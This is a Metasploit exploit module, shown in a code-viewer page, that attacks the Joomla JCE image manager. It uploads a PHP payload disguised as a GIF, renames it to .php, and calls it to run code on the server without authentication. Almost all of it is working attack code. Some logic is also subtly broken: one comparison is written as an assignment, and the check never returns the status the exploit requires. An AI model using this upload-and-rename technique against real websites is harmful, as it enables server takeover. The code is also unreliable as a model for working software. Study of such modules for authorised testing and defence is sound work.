Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/webapp/joomla_comjce_imgmanager.rb
19664 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::FileDropper
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Joomla Component JCE File Upload Remote Code Execution',
17
'Description' => %q{
18
This module exploits a vulnerability in the JCE component for Joomla!, which
19
could allow an unauthenticated remote attacker to upload arbitrary files, caused by the
20
fails to sufficiently sanitize user-supplied input. Sending specially-crafted HTTP
21
request, a remote attacker could exploit this vulnerability to upload a malicious PHP
22
script, which could allow the attacker to execute arbitrary PHP code on the vulnerable
23
system. This module has been tested successfully on the JCE Editor 1.5.71 and Joomla
24
1.5.26.
25
},
26
'Author' => [
27
'Unknown', # From AmnPardaz Security Group # Vulnerability discovery and PoC
28
'Heyder Andrade <eu[at]heyderandrade.org>' # Metasploit module
29
],
30
'License' => MSF_LICENSE,
31
'References' => [
32
['OSVDB', '74839'],
33
['EDB', '17734'],
34
['BID', '49338']
35
],
36
'Payload' => {
37
'Space' => 4000, # only to prevent error HTTP 414 (Request-URI Too Long)
38
'DisableNops' => true,
39
'BadChars' => "#",
40
'Keys' => ['php']
41
},
42
'Platform' => 'php',
43
'Arch' => ARCH_PHP,
44
'Targets' => [[ 'Automatic', {}]],
45
'Privileged' => false,
46
'DisclosureDate' => '2012-08-02',
47
'DefaultTarget' => 0,
48
'Notes' => {
49
'Reliability' => UNKNOWN_RELIABILITY,
50
'Stability' => UNKNOWN_STABILITY,
51
'SideEffects' => UNKNOWN_SIDE_EFFECTS
52
}
53
)
54
)
55
56
register_options(
57
[
58
OptString.new('TARGETURI', [true, "Joomla directory path", "/"])
59
]
60
)
61
end
62
63
def get_version
64
# check imgmanager version
65
@uri_base = normalize_uri(target_uri.path.to_s, 'index.php')
66
@vars_get_base = {
67
'option' => 'com_jce',
68
'task' => 'plugin',
69
'plugin' => 'imgmanager',
70
'file' => 'imgmanager'
71
}
72
print_status("Checking component version to #{datastore['RHOST']}:#{datastore['RPORT']}")
73
res = send_request_cgi({
74
'uri' => @uri_base,
75
'vars_get' => @vars_get_base,
76
'method' => 'GET',
77
'version' => '1.1'
78
})
79
80
version = nil
81
if (res and res.code == 200)
82
res.body.match(%r{^\s+?<title>Image\sManager\s:\s?(.*)<})
83
version = $1.nil? ? nil : $1
84
end
85
86
return version
87
end
88
89
def check
90
version = (get_version || '').to_s
91
92
if (version.match(%r{1\.5\.7\.1[0-4]?}))
93
return Exploit::CheckCode::Appears
94
end
95
96
return Exploit::CheckCode::Safe
97
end
98
99
def upload_gif
100
# add GIF header
101
cmd_php = "GIF89aG\n<?php #{payload.encoded} ?>"
102
103
# Generate some random strings
104
@payload_name = rand_text_alpha_lower(6)
105
boundary = '-' * 27 + rand_text_numeric(11)
106
107
parms = { 'method' => 'form' }
108
parms.merge!(@vars_get_base)
109
110
# POST data
111
post_data = Rex::MIME::Message.new
112
post_data.bound = boundary
113
post_data.add_part("/", nil, nil, "form-data; name=\"upload-dir\"")
114
post_data.add_part("", "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"\"")
115
post_data.add_part("0", nil, nil, "form-data; name=\"upload-overwrite\"")
116
post_data.add_part("#{cmd_php}", "image/gif", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}.gif\"")
117
post_data.add_part("#{@payload_name}", nil, nil, "form-data; name=\"upload-name\"")
118
post_data.add_part("upload", nil, nil, "form-data; name=\"action\"")
119
120
data = post_data.to_s
121
122
res = send_request_cgi({
123
'uri' => @uri_base,
124
'vars_get' => parms,
125
'method' => 'POST',
126
'version' => '1.1',
127
'data' => data,
128
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
129
})
130
131
if (res and res.code = 200)
132
return :access_denied if (res.body =~ /RESTRICTED/i)
133
134
print_good("Successfully uploaded #{@payload_name}.gif")
135
else
136
print_error("Error uploading #{@payload_name}.gif")
137
return :abort
138
end
139
140
return :success
141
end
142
143
def renamed?
144
# Rename the file from .gif to .php
145
146
data = "json={\"fn\":\"folderRename\",\"args\":[\"/#{@payload_name}.gif\",\"#{@payload_name}.php\"]}"
147
148
print_status("Change Extension from #{@payload_name}.gif to #{@payload_name}.php")
149
150
res = send_request_cgi(
151
{
152
'uri' => @uri_base,
153
'vars_get' => @vars_get_base,
154
'method' => 'POST',
155
'version' => '1.1',
156
'data' => data,
157
'ctype' => 'application/x-www-form-urlencoded; charset=utf-8',
158
'headers' =>
159
{
160
'X-Request' => 'JSON'
161
}
162
}
163
)
164
if (res and res.code == 200)
165
print_good("Renamed #{@payload_name}.gif to #{@payload_name}.php")
166
return true
167
else
168
print_error("Failed to rename #{@payload_name}.gif to #{@payload_name}.php")
169
return false
170
end
171
end
172
173
def call_payload
174
payload = "#{@payload_name}.php"
175
print_status("Calling payload: #{payload}")
176
uri = normalize_uri(target_uri.path.to_s, "images", "stories", payload)
177
res = send_request_cgi({
178
'uri' => uri,
179
'method' => 'GET',
180
'version' => '1.1'
181
})
182
end
183
184
def exploit
185
return if not check == Exploit::CheckCode::Vulnerable
186
187
if upload_gif == :success
188
if renamed?
189
register_files_for_cleanup("#{@payload_name}.php")
190
call_payload
191
end
192
end
193
end
194
end
195
196